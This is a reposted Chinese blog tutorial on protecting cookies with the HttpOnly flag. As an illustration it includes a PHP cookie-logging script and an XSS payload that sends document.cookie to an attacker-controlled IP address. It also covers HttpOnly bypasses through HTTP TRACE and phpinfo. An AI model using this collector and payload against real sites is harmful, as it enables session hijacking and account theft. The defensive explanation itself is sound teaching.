[转]使用HttpOnly提升Cookie安全性
原文:https://www.cnblogs.com/zlhff/p/5477943.html
在介紹HttpOnly之前,我想跟大家聊聊Cookie及XSS。
隨著B/S的普及,我們平時上網都是依賴于http協議完成,而Http是無狀態的,即同一個會話的連續兩個請求互相不了解,他們由最新實例化的環境進行解析,除了應用本身可能已經存儲在全局對象中的所有信息外,該環境不保存與會話有關的任何信息,http是不會為了下一次連接而維護這次連接所傳輸的信息的。所以為了在每次會話之間傳遞信息,就需要用到cookie和session,無論是什么,都是為了讓服務器端獲得一個token來檢查合法性,很多時候都是在cookie中存儲一個sessionID,服務器來識別該用戶,那么安全隱患也就引申而出了,只要獲得這個cookie,就可以取得別人的身份,特別是管理員等高級權限帳號時,危害就大了,而XSS就是在別人的應用程序中惡意執行一段JS以竊取用戶的cookie。
那么如何獲得Cookie劫持呢?在瀏覽器中的document對象中,就儲存了Cookie的信息,而利用js可以把這里面的Cookie給取出來,只要得到這個Cookie就可以擁有別人的身份了。下面簡單說說如何竊取cookie。
接收cookie的PHP文件ck.php為:
<?php?
$cookie?=?$_GET['c'];?
$ip?=?getenv?('REMOTE_ADDR');?
$time=date("j?F,?Y,?g:i?a");?
$referer=getenv?('HTTP_REFERER');?
$fp?=?fopen('cookie.txt',?'a');?
fwrite($fp,?'Cookie:?'.$cookie.'<br>?IP:?'?.$ip.?'<br>?Date?and?Time:?'?.$time.?'<br>?Referer:?'.$referer.'<br><br><br>');?
fclose($fp);?
?>
把這個文件放在自己的服務器上,比如我們搭建的服務器為:http://10.65.21.78:8080?.
那么構造XSS語句:
<script>window.open('http://10.65.21.78:8080/ck.php?c='+document.cookie)</script>
當執行script成功時就會把cookie發送到自己的服務器下cookie.txt文件中。XSS攻擊是多么可怕的事情。
說了這么多,貌似還沒有提到HttpOnly,這是哪般?莫及!這就到了!如何保障我們的Cookie安全呢?Cookie都是通過document對象獲取的,我們如果能讓cookie在瀏覽器中不可見就可以了,那HttpOnly就是在設置cookie時接受這樣一個參數,一旦被設置,在瀏覽器的document對象中就看不到cookie了。而瀏覽器在瀏覽網頁的時候不受任何影響,因為Cookie會被放在瀏覽器頭中發送出去(包括Ajax的時候),應用程序也一般不會在JS里操作這些敏感Cookie的,對于一些敏感的Cookie我們采用HttpOnly,對于一些需要在應用程序中用JS操作的cookie我們就不予設置,這樣就保障了Cookie信息的安全也保證了應用。
給瀏覽器設置Cookie的頭如下:
Set-Cookie:?=[;?=]
[;?expires=][;?domain=]
[;?path=][;?secure][;?HttpOnly]
如果?Cookie?具有?HttpOnly?特性且不能通過客戶端腳本訪問,則為?true;否則為?false。默認值為?false。
但是,也可以看到HttpOnly并不是萬能的,首先它并不能解決XSS的問題,仍然不能抵制一些有耐心的黑客的攻擊,甚至一些基于XSS的proxy也出現了,但是已經可以提高攻擊的門檻了,起碼XSS攻擊不是每個腳本小子都能完成的了,而且其他的那些攻擊手法因為一些環境和技術的限制,并不像Cookie竊取這種手法一樣通用。
HttpOnly也是可能利用一些漏洞或者配置Bypass的,關鍵問題是只要能取到瀏覽器發送的Cookie頭就可以了。譬如以前出現的Http?Trace攻擊就可以將你的Header里的Cookie回顯出來,利用Ajax或者flash就可以完成這種攻擊,這種手法也已經在Ajax和flash中獲得修補。另外一個關于配置或者應用程序上可能Bypass的顯著例子就是phpinfo,大家知道phpinfo會將瀏覽器發送的http頭回顯出來,其中就包括我們保護的auth信息,而這個頁面經常存在在各種站點上,只要用ajax取phpinfo頁面,取出header頭對應的部分就可以獲得Cookie了。一些應用程序的不完善也可能導致header頭的泄露,這種攻擊方式對于基本驗證保護的頁面一樣可以攻擊。
HttpOnly在IE?6以上,Firefox較新版本都得到了比較好的支持,并且在如Hotmail等應用程序里都有廣泛的使用,并且已經是取得了比較好的安全效果。
那問題就來了,大家想想,HttpOnly?主要是為了限制web頁面程序的browser端script程序讀取cookie,?實際是瀏覽器通過協議實現限制的,黑客可不會那么傻,肯定不會用HTTP協議來讀取cookie,肯定是在socket層面寫抓包程序,相當于寫一個低于IE6版本的應用程序。
所以,HttpOnly并不是萬能的。
轉載于:https://www.cnblogs.com/makai/p/11191132.html
總結
以上是生活随笔為你收集整理的[转]使用HttpOnly提升Cookie安全性的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 拍拍贷信贷申请审核竞赛模拟
- 下一篇: Elastic Job入门(1) - 简